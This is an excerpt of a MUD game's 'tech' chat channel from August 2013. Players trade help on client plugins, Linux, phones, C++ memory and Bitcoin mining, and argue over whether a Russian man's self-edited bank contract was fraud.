T3/r7/2013-08-08.txt.gz:{chan ch=tech}Ranrr Tech: Yes
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Aweyn Tech: Distro of choice?
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Ranrr Tech: Started using Linux Mint Debian Edition, and it seems good. Otherwise vanilla debian.
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Aweyn Tech: I think I've got a debian iso here somewhere. I saved a computer from college from being thrown out, and was upset when it wouldn't run Cinnamon well.
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Aweyn Tech: I'm on Ubuntu 12.04 atm cause I dunno.
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Ranrr Tech: I used to like ubuntu, but they include so much junk nowadays, so I dropped them.
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Ranrr Tech: But, for me, as long as it uses dpkg and not rpm, I can live with it.
T3/r7/2013-08-08.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: any web audio api specialists around?
T3/r7/2013-08-08.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: would like to store a very short sound in a variable and then just play the darn thing. cant find proper examples anywhere
T3/r7/2013-08-08.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: not even on youtube?
T3/r7/2013-08-08.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: nope:) i saw one but it has disappeared now:(
T3/r7/2013-08-08.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: didn't bookmark it
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Jaccar Tech: what is the command to reset the SnD window
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Tynrael Tech: xset reset gui
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Jaccar Tech: who was i just talking to
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Jaccar Tech: about snd
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Jaccar Tech: So i downloaded the winkle snd 3 pack, they all load in except the map extender 
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Jaccar Tech: is spams me with  sendgmcp request char over and over and isnt a command
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Jaccar Tech: xset reset gui still isnt working either, nor is ww help.
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Jaccar Tech: any ideas?
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Leinei Tech: Did you disable the GMCP plugins?
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Jaccar Tech: dont know what that is.
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Leinei Tech: in file->plugins, do you see the GMCP handler plugin, and is it enabled?
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Jaccar Tech: yes
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Jaccar Tech: disable?
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Leinei Tech: no
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Jaccar Tech: ok
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Leinei Tech: Do you have aliases disabled?
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Jaccar Tech: yes
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Leinei Tech: that's likely the problem
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Loshy Tech: if im moving an updated snd file into my mush file, do i send it to db backups or somewhere else
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Loreli Tech: I'm trying to install handbrake on my ubuntu, but I'm getting a handbrake-gtk : Depends: gstreamer1.0-plugins-bad dependency problem. Any ideas?
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Flach Tech: Bleh, eqsets not letting me add items :(
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Turie Tech: You need to the following. Download a fresh copy of AardMUSH, copy over your Aardwolf.db file in the main directory, download a fresh copy of Bast plugins, copy your stats.db found in the "Logs" folder in the main directory in AardMUSH. Identify all of you equipment by using the mouse over and refresh the equipment plugins each time you change your inventory.
T3/r7/2013-08-08.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: how much slower is onchange vs onmouseup in html5? the range input there
T3/r7/2013-08-08.txt.gz:{chan ch=tech}Mushambo Tech: Would I be able to have even MORE FF/Chrome/Opera tabs open without being slowed down if I was running them off a SSD? Or is more a RAM issue?
T3/r7/2013-08-08.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: sure why not
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Redryn Tech: hmm
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Redryn Tech: i'm looking at recontracting my phone line, and am considering between getting the samsung s3 and s4
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Redryn Tech: the s3 is less than half the price
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Redryn Tech: anyone know if there's a notable advantage to the s4?
T3/r7/2013-08-09.txt.gz:{chan ch=tech}FuFu Tech: bigger screen
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Aweyn Tech: Not a huge advantage, I'd guess. If you're concerned with money, the S3 would still probably meet any of your expectations.
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Daloran Tech: i suggest investigating the nexus 4, before you pull the trigger on either
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Daloran Tech: assuming you're on a gsm network
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: As someone who has an S4, it is very good, but look at the HTC One, if you are able to buy it wherever you are
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Daloran Tech: https://play.google.com/store/devices/details?id=nexus_4_8gb_black_promo&feature=ha-text-sem_bk-n4&utm_source=ha&utm_medium=text&utm_campaign=sem_bk&utm_content=n4&gclid=CNicvefc77gCFUoQKwodRw4AAA&gclsrc=ds nexus 4
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Aweyn Tech: How are the Linux users here connected?
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Daloran Tech: Over TCP/IP? =p
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Qaebl Tech: lol
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Daloran Tech: likely using TF or TinTin... i think some run mushclient via wine
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Daloran Tech: then there always just good old telnet. or the web client on the aardmud site
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Aweyn Tech: Har-har. I was thinking of using the mushclient w/wine, for all the plugins and that.
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Daloran Tech: shrug. i gave a few legitimate answers. Har har if you wish.
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Aweyn Tech: Nah, I appreciate it. Thanks :)
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Deathbolt Tech: anyone know how i can stop page down key from executing 'down' when the main output window is on the current active line?
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Deathbolt Tech: i swear it never used to happen
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Aweyn Tech: Is it in 'game>configure>keypad'?
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Aweyn Tech: assuming you're using the MUSHclient
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Gaelehad Tech: is numlock on?
T3/r7/2013-08-09.txt.gz:{chan ch=tech}LordRain Tech: is anyone familiar with pei's sound plugin
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Zoee Tech: who uses bast sets plugin? need some help to start up
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Zoee Tech: hey techies, i have a js registry error on my pc. how can i fix it?
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Greendude Tech: anybody know how a mud could somehow be used as a 3D modeller?
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Greendude Tech: or could confirm that it can't
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Confounded CeriQ Tech: If you dry it, it'll set in whatever form it had before.
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Greendude Tech: i know but i looked at the bigmap and I sort of had this idea that it could work somehow
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Greendude Tech: like in a sim city sort of way
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Greendude Tech: but actually I thought about it and you're right, if you could model it like play doh
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Greendude Tech: that would be easier than the other modellers
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Daesilme Tech: You probably could in theory.  Nick worked up a prototype Wolfenstein interface at one point.  (I think it was Nick, anyway)
T3/r7/2013-08-09.txt.gz:{chan ch=tech}Fyober Tech: anyone got time to help me with search and destory plug in
T3/r7/2013-08-09.txt.gz:{chan ch=tech}HelperMan Hadar Tech: if i want to use gmcp in a script for mush, how do i do it, is there a tut somewhere?
T3/r7/2013-08-09.txt.gz:{chan ch=tech}RightOn Rithlin Tech: help gmcp
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: Any c++ programmers here?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: normally just ask and if someone can answer your question they will
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: I'm just looking to chat, really.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: First, I suppose, though, it seems like you need a pointer for every dynamically allocated variable, yeah?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Late, but if you don't have a pointer, how were you planning on keeping track of the memory?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: If you've got some dynamically allocated memory without atleast one pointer, you've got a memory leak.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Disclaimer - I haven't touched C++ in about 4 years. :)
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: It just seems funny that you need two variables worth of memory for it.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: I'm just starting, so I couldn't call you out on anything ;P
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Anyways, any variable you use new on you need to delete afterwards
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: And you need a pointer to be able to do that.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: If you repoint the last pointer without deleting the memory first, it's lost to you - you don't know the adress to it any more.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: Why can't you just name the variable and use it like normal?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: And wouldn't you still need the pointer to be declared at compile time?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: RAM these days is cheap - ridiculously so. The cost of an extra address per variable is negligible, and when you deal in the STL it isn't even an issue, as the way the containers work make it about as memory-heavy as declaring a primitive anyways.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: If memory is so cheap, why dynamically allocate at all?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The difference you are looking for is the difference between the stack and the heap - it can get quite complicated, but in short the stack is a static size set at compile time (and allocated at execution time) whereas the heap is dynamically sized (and allocated as it is needed)
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Memory is cheap - knowing how much you need ahead of time is not
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: So it's more an issue of ensure that there's enough memory for the program to use, rather than making sure it doesn't take up too much, now?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It's an optimisation issue - RAM is cheap enough that an extra address is negligible, but not so cheap that you can toss 4gb at every process
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Any time this comes up, this link eventually crops up: http://stackoverflow.com/questions/79923/what-and-where-are-the-stack-and-heap
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is an exceptional discussion thread (that gets worse the deeper and lower-voted you go, so bear that in mind) that should help you understand the why and how
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: Thank you. I'll have a look through it. How much memory does the pointer/address take, 
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: anyway
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: There's also the whole bit about references and value types - if you send a normal variable to a function, it'll get copied in it's entirety. If it's a big one(class containing some form of binary data usually), it'll be copied byte for byte for every function call.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: If you use heap memory instead, and dynamically allocate the variables, you'll copy the pointers from the stack, 4 or 8 bytes, instead of however many mb the data might be.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Depends on the implementation - 32-bit addresses take up less space than 64-bit addresses. I would ignore it in 99.99999999999% of cases personally
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: Confounded CeriQ is agreeing with that Captain HR Vakieh person again...
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: Thank you both :3
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It can be a help to do some pure C programming on the side, malloc/calloc/realloc are quite good at teaching you about memory use
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Anyone have any experience with bitcoin mining?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: I'm considering getting into it and buying a KnC miner. Them being in Sweden(same as me) gives me a ton of legal protection regarding the payment and non delivery, plus they're not too expensive $/gh...
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Trachx Tech: unless you have free energy source it is not so profitable, IIRC
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: I have free energy. :)
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: You raise your eyebrow at Trachx.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: mom's paying is not FREE energy
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: And a 400ghz miner requires a 500W PSU, so it shouldn't be too bad.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: It's included in the rent.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Trachx Tech: you can make more money selling BC miners to other 'investors'
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: So it's free for me.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: at that case, it's profitable since you pay same amount even if you dont use miner
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Yeah, it's just the investment cost.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: KnC are promising delivery in october. They haven't even started delivering yet though, so it feels a bit like a shot in the dark.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Trachx Tech: there is better business - wind turbines
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Trachx Tech: use electric motor to power wind turbine and profit
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Tranchx... What? =D
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Trachx Tech: I mean buy cheap power from traditional sources, power your wind turbine, and then sell expensive 'green' energy
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Pei Tech: LOL!!!!!!!!!!!
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: Pei falls over laughing at that one
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Ah. Like vattenfall - build a bunch of wind powerstations, and then import all your electricity from german coal plants.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: pretty much
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: heh, if you're gonna do that, might as well not bother actually funneling it through the turbine to lose so much of it
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Nah, turbines are just for show I think. :D
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Pei Tech: baaaaaaaa hahahahahaha
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Anyways, I'm looking for opinions here, sinking a couple of grand into a miner when I have free access to electricity. Good or bad call?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: I'm quite impressed with Btc itself and believe it has a place in the world, so I don't think it'll crash anytime soon.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: bad
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: It's obviously a better callt han if you didn't have free energy..?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Crash meaning disappear entirely - it might drop in value though.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: Bitcoin's quite volatile in value, so you might be able to count on a boom again relatively soon.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Trachx Tech: law of diminishing returns
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: bitcoin is actually quite vulnerable at the moment, thailand made it illegal. which is worse than stepping on bill that has royalty face
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: and that is 10 years sentence right there
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: Other places have been lifting it up though, iirc. You can buy things with it, someone. I don't remember..
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: yep, and with micropayments being free now. it's actually useful
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Bitcoin is only as secure as its algorithm, and its perceived value - it also is increasingly targeted by various taxation and similar agencies.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Pumpkin Tech: must be said, that bitcoin algorithm is extremely secure
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I would take a million bitcoin-like entities before I would endorse the nightmare that is Paypal however.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: All the power of a bank, none of the oversight
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: one guy did a contract with the bank - but he changed it, the bank's maiden didn't read the contract and heh.. he'll hopefully get his millios:)
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It isn't millions, its the interest on the principle of the credit card...
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Or is it principal in that case...could be, idk
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: nope. there were .. my darn english.. something about prematurely cancelling the contract
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The story has well and truly made the rounds, Russian guy will have to pay back the principal, but he will likely get out of the interest and fees. That is if they don't sue him for fraud and copyright infringement (he used their logo on a contract he wrote up without their permission)
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: hm. i just read it this morning
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You are at least a week behind then :D
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: but todays story was that he sued the bank
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: for a LOT of money
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: heh, committing fraud and then suing for it isn't usually smart
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The fraud part is disputed, and there is no gain from it without suing
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: there's not much dispute to the fraud...
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: well, the signatures are there, the contract was done. they should have read it.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Its been upheld as not fraud by one round of courts already
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: then that court hasn't looked up the definition of fraudulent and should be removed from the bench
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: he probably cant get the money but the poor bank person is completely.. done
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You realise this is a Russian court and doesn't need to conform to US definitions?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: best part of that is that back cant say it's in contract. 
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: back...bank
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: you realize that the basic definition of fraud isn't a US concept?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: it's not fraud
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: he did nothing else than sent his own copy to bank that he had signed. bank didnt read it. it failed
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Trachx Tech: it is a deal signed by both parties
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The basic definition of fraud has no place in a court of law, which deals in strictly defined definitions of what does or does not constitute fraud
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: read small text much?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: In the US it would not be covered under fraud anyway, it would be covered under the 'meeting of minds' contract requirement, and the whole thing would be null and void. He would owe the original amount as he does now, and that would be that.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: vakieh: the strictly defined definitions of what constitute fraud is what he broke...even in Russia, even in Russian law
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: what in russia is concequenses from this? bank loses: every other bank can have their deals. bank wins, every client can say bank changed their deal
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: in russia consequence may be 4 years in prison, and banks watermark everything
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If he did, the court would have decided against him. It did not, and there has been no outcry beyond the bank appealing the decision as per normal channels, so I can assume if it is considered fraud it is quite borderline.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: he did nothing wrong, he only gave bank what felt right, and bank agreed
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: not borderline, no...fraudulently representing your document as the bank's
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You say he did that - that does not make it fact
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: no, bank gave him promise for document. he changed it to fit his, and bank agreed
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: have you never bartered for cheaper loan?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: me saying it doesn't make it a fact...the fact that it's an undisputed fact of the case makes it a fact
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You are extrapolating further than the undisputed portion of the facts.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: fact is, bank fucked up majorly.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: no I'm not, vak
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: He changed the wording - many people scribble changes to contracts during negotiations. So long as this was done before signing, it is not fraud
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Trachx Tech: bank could send him signed document (by bank), then he could not change contract
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: He signed the updated copy, then bank signed updated copy - there is no fraud there
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: he didn't change the wording as "scribbled changes"...he 'shopped it
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: in civilized world where government doesnt spy on people like in usa. client comes before business. thus bank fucked up
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It's text, it isn't as if he set it to a confusing typeface
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Nuanse, careful with the language
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: Was it signed by the bank after he changed it?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yes
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If the way he changed it is the problem you are sitting on, what about using whiteout and then typing over that? Same diff.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: He just used digital whiteout
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: bank did poopoo
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: Well that doesn't seem like fraud then. If he had taken a signed document then changed and submitted it, or something, then yeah.  There's no reason for a bank not to read and check a contract just because it has a logo on it.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: IMO though the whole case pokes a whole in the Russian contracts law - meeting of minds clauses exist for exactly this reason
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: vakieh: using whiteout, then typing over it, then sending through a copy machine so that there's no whiteout...which is quite well shown to be fraud
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not before something is signed it isn't
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: he did nothing like that abe
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: yes he did, nuanse
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: He did Nuanse, but he did so *before* it was signed
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: he wrote the contract himself, signed it and sent it to bank. bank agreed
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: not quite, nuanse
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You can do whatever you want before it is signed, it is up to the signing party to do its due diligence
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: that's not true, vakieh
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: abe, he did, he got propotiotion for contract, he changed it to his behalf( note bank had not signed it yet) and sent it to bank. bank agreed all terms
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: for him to "write the contract himself", it would've had to have been his contract...photoshopping their contract and presenting it to them as their own  contract is fraudulent
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: are you now saying that contract doesnt matter if you feel so?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: he didnt photoshop it
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: yes he did, that's the issue
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: he wrote it himself. from start to finish
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: he scanned in their contract and doctored parts of it
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: and presented it to them as their own contract returned
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You are using an emotive term to imply something that didn't happen. He didn't manipulate a picture to look like something different, he changed text. He edited text, he did not 'photoshop'.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: which is no fraud. because he didnt change made contract. he allowed bank to review the paper and disagree it
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: bank poopooed 
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Zade Tech: he fraudulently misrepresented his contract as the bank's contract
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: he didnt
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: he did, nuanse
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Ylar Tech: Oh? And usually such a document would have other information, such as a revision #, or other such "control" documentation.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: he did but its ok
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: there is no question whatsoever that he did
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Ylar Tech: did he properly remove all of that?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: he returned his own contract with values he felt right. 
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: no he didn't
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: bank needs to be more careful
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Control numbers are not part of contract law - try arguing your way out of a loan because the revision number was a duplicate
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: I think it may depend on the exact communication between the two parties. If he said, directly "This is your contract and it hasn't been changed", it's fraud. Otherwise, and it seems like there was no communication, or the bank would know there were changes, it's not fraud.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: he didnt, he only represented his own contract to bank and bank agreed
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: is bad deal dealers, or customers problem?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: he didn't represent his own contract, he sent the doctored bank's contract, complete with their masthead
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: in this case, every bank needs to re-evaluate their system 
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: which is my point. It's common for changes to be written over a contract. He just did his digitally.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Which is the same as if you had done that whiteout operation - not fraud so long as there are no signatures on the document
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: all tellers have to memorize the contracts
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Zade Tech: that misrepresentation must be seen as fraud, or every contract that is out out sight for even a moments must be reread -- to discourage switching contracts by slight of hand
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: and read each and every one of them
